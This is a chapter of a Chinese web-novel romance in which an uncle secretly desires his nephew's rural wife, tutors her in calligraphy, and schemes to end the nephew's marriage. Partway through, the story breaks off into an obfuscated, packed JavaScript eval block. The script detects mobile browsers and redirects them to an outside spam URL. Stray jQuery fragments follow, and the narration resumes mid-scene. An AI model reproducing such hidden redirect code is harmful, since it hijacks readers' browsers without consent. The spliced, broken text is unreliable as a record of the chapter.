8.第 8 章

作品:《窃侄妻

    霍砚时仍托着她的手腕,指腹触着薄薄一层皮肉下的青筋,一碰就突突跳得厉害。


    小娘子软白的耳垂变得通红,一点点染上因他而起的战栗,连带着皮肤都变得滚烫起来,然后似慌不择路的猎物,一头撞进自己怀里。


    可霍砚时一动不动地站着,垂下的黑眸始终冷静。


    她看起来吓坏了,澄明的眸子染着仓惶的水色,柔软的后背贴上来时,乌发擦着他的喉结滑过,有几根发丝钻进衣襟,很轻地从他皮肤上扫过去,还未咂摸出滋味,怀中的温香软玉就飞快逃离。


    手指忍不住屈了屈,只留下一阵捉不住的香风。


    直到叶蓁仰起头,很难堪地向他道歉,霍砚时才换了惯有的温和神色道:“该我说抱歉才对。阿瑾小时候,我都是这么教她写字的,刚才只想着纠正你的姿势,一时忘了这对你来说太过唐突。”


    叶蓁听得越发愧疚,小叔父把自己当做外甥女一样的后辈教导,自己却惊慌成那副模样,实在是太不应该了。


    她攥着还未褪去温度的指尖,瞥见被她扔在桌案上的羊毫,将宣纸上染出一大片黑墨,眼看着就要往下浸染,连忙将宣纸抽出来,又将羊毫在洗笔筒里清洗,生怕弄脏了他之前的那副字。


    霍砚时拿了块帕子擦手,看着她心疼地把那张被墨染坏的宣纸折起,自责地快要哭出来似的。


    这个如草木般木讷的女子,只在惊慌时会显露出一些脆弱,像蚌壳被撬开时,露出湿濡可口的软肉。


    哭起来……应该也会很漂亮。


    他突然想起在侄儿门口听到那声似痛苦又似欢愉的“夫君”,语声暗哑湿润,好像刚被弄哭过……


    霍砚时闭了闭眼,阻止自己再想下去。


    他极少会有这样的时候,深吸口气,端起桌案上的冷茶喝下道:“你若想学写字,可以来书房找我,我若空闲就能教你。”


    叶蓁瞪圆了眼,有些难以置信。


    小叔父可是东宫太傅,是太子的老师,怎么能教自己写字呢!


    但她又不得不被这句话诱惑,小心地问道:“小叔父真的愿意教我?”


    霍砚时笑道:“为何不行,反正你就住在这个家里,只要我在家时,你想学写字,或是想学别的什么,让胡安带你过来书房就是。”


    叶蓁心头有些雀跃,她明白光识字是不够的,要配得上夫君,让婆母和祖母接受自己,需得像那些世家贵女一样,懂许多东西,至少要写的一手好字。


    她什么都不会,可她愿意为了夫君去学。


    虽然以她的资质,饱读诗书大概是不能了,但她现在能有东宫太傅做老师,这可是其他贵女想都想不来的。


    霍砚时见她表情数次变化,先是震惊,然后是惶恐,最后变成窃喜,可她努力压着嘴角,生怕自己会高兴得太过明显。


    于是他将帕子放下,道:“想好了吗?再想的久一些,我可能会改变主意。”


    “好!”叶蓁脱口而出,然后脸颊又有些发热,连忙垂下头,一板一眼地躬身道:“那就,劳烦小叔父了。”


    待到胡安送她离开,霍砚时让侍从来收拾书房,走出房门时,想起明日就是每月陪老夫人用膳的日子。


    他知道这顿饭用的不会安宁,果然才刚坐下,王令娴就忧虑地道:“崔家今天派了人过来,他们已经听说昀儿带了个女子回来,还闹着要娶她进门。说崔相发了很大的火,一定要我们家给个说法,问这亲事到底还结不结?”


    孟老夫人叹了口气,按着额头,道:“既然是昀儿惹出的事,就让他先去崔家道个歉吧。”


    “不行。”霍砚时将盛好的汤递给母亲,道:“昀儿现在正是烈性之时,前两日还说若家里反对他娶叶蓁,他春闱后就自己开府出去住。若真让他去了崔家,这事就再也没有回转的余地。”


    王令娴听得心慌意乱,她这几日都刻意避着儿子和那农女,只盼着儿子能早日想通,没想到他心意会这般坚决。


    这一急她眼泪又下来了,绝望地道:“这可怎么办啊!难道要真依着他娶个乡下女进门吗?”


    霍砚时执起银箸,安抚道:“嫂嫂莫要忧虑,先吃些东西再说。”


    王令娴哪里还吃得下,可看见小叔子十分沉稳的模样,心中又燃起希望,问道:“你已经想到法子吗?”


    霍砚时道:“昀儿这些年都很听我的话,是我忽略了,他年纪还太轻,骨子里还留着少年人的叛逆,此前只是因兄长的离世,还有我为他事无巨细的安排而强压了下去。”


    他看了眼眼巴巴看着他的老夫人和长嫂,继续道:“现在他把娶妻视为对家里的抗争,我们越是强逼,他越不可能放手。唯一的法子,就是暂时先依着他,莫要逼得太狠。等到新鲜劲过了,他迟早会慢慢清醒,发现他和那女子毫不般配,到时候我自有法子让他放手。”


    孟老夫人被他说得心下稍安,当初若不是这个小儿子,侯府早就落得树倒猢狲散的下场,她知道霍砚时的手段和心性,只要他做了决定,就绝不会让任何事超出自己的掌控,


    此时王令娴又问道:“那崔家怎么办?崔相还在等我们给他个交代呢。”


    霍砚时想了想道:“过两日,我会去趟崔家,亲自向崔相解释。我想,与其让昀儿去崔家惹事,不如将叶蓁带去同崔月仪见上一面。”


    孟老夫人一听连忙道:“这怎么行!让崔家知道昀儿闹着娶这样的女人,我们家可丢不起这个人!”


    霍砚时摇头道:“我就是要让她和崔月仪见面。崔月仪见了她,就知道像这样出身的女子根本没资格和她争,昀儿不过是一时糊涂罢了。而叶蓁知道越多昀儿和崔家娘子的事,心里的嫌隙就会越来越大,到时候就算昀儿不开口,她自己迟早也会难以忍受下去。”


    王令娴听得似懂非懂,只得叹气道:“好,你去安排吧。”


    “小叔父真的已经安排好了吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445198|201017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    叶蓁站在崔家的大宅子里,被家丁领着往水榭走时,十分忐忑地小声问阿忆道:“崔娘子真愿意见我?”


    阿忆朝她笑着道:“是,夫人莫要担忧。侯爷已经交代过了,崔娘子答应了让你去见她,还说了不会为难你。”


    叶蓁心里稍稍安定下来,没想到上次在书房的那次对谈后,侯爷竟真把这件事放在心上,今日就带她来见了崔月仪。


    但她实在不会和世家贵女打交道,而且还是和夫君议过亲的贵女。


    她在心里预计了许多见到崔娘子时的情景,最差的一种是她叫家丁把自己打一顿,到时候找侯爷求救也不知来不来得及。


    但就算被打一顿,她也想知道君和崔月仪的事,她可以为夫君忍下很多事,但容不得欺骗,尤其讨厌最亲近的人骗她。


    这么想着,叶蓁的腰板就挺直了,抱着孤注一掷的心一路走到湖边,远远就看见歪靠在水榭栏杆上,生得粉雕玉琢的小娘子。


    明明已经到了四月,她竟还披了件薄斗篷,尖下巴埋在斗篷的毛边之中,五官生得极美,脸色却是病态的苍白,一双剪水双瞳似蒙了层轻雾,看起来十分得怯弱可怜。


    叶蓁忍不住感叹,幸好她身份尊贵不必亲自干活,不然这细胳膊细腿,只怕水桶都提不起来。


    被领着走到崔月仪面前,才发现她手里还拿着一叠信笺,有些已经泛黄,美人独倚着栏杆,正将信笺一张张往湖水里抛去。


    叶蓁心中惊异,但不敢多看,规矩地朝她行礼,唤了声:“崔娘子……”


    崔月仪转了下眼眸,冷冷自她脸上扫了下,又很快转了回来,似是不屑多看她一眼。


    她继续将信笺往水里抛,幽幽开口道:“这些都是阿昀哥哥曾写给我的信。”


    叶蓁一愣,随即脱口道:“那这样扔在水里多可惜。”


    崔月仪冷笑一声,道:“自小长大的情意,都付东流水罢了。”


    叶蓁觉得她说的不对,忍不住提醒道:“这湖是死水,扔了流不出去的,还得你们府里的人去捞出来!”


    崔月仪脸上染起愠怒的红,终于坐直看向她,将她上下打量一番,杏眸涌上点点波光,道:“无知妇人,你懂什么!我对阿昀哥哥心如尾生抱柱,至死方休,纵风疾雨骤,绝不容轻负。”


    叶蓁见她语气凄婉,说出来的词也是文绉绉怪有学问的,可自己一个字听不懂。


    但不说话又显得尴尬,于是她很虚心地问道:“尾生是个人吗?他为什么要抱着柱子呢?”


    崔月仪气得脸颊绯红,提高了声音道:“尾生抱柱是说我们之间的誓约,本应如萧郎嬴女、琴瑟和鸣!”


    叶蓁实在头疼,问道:“这个姓萧的又是谁?”


    崔月仪气得梨花带雨变成嚎啕大哭,扁着嘴喊道:“你什么都不懂,为何能讨得昀哥哥的欢心,为何他非要娶你!”


    叶蓁松了口气,这句她终于听懂了。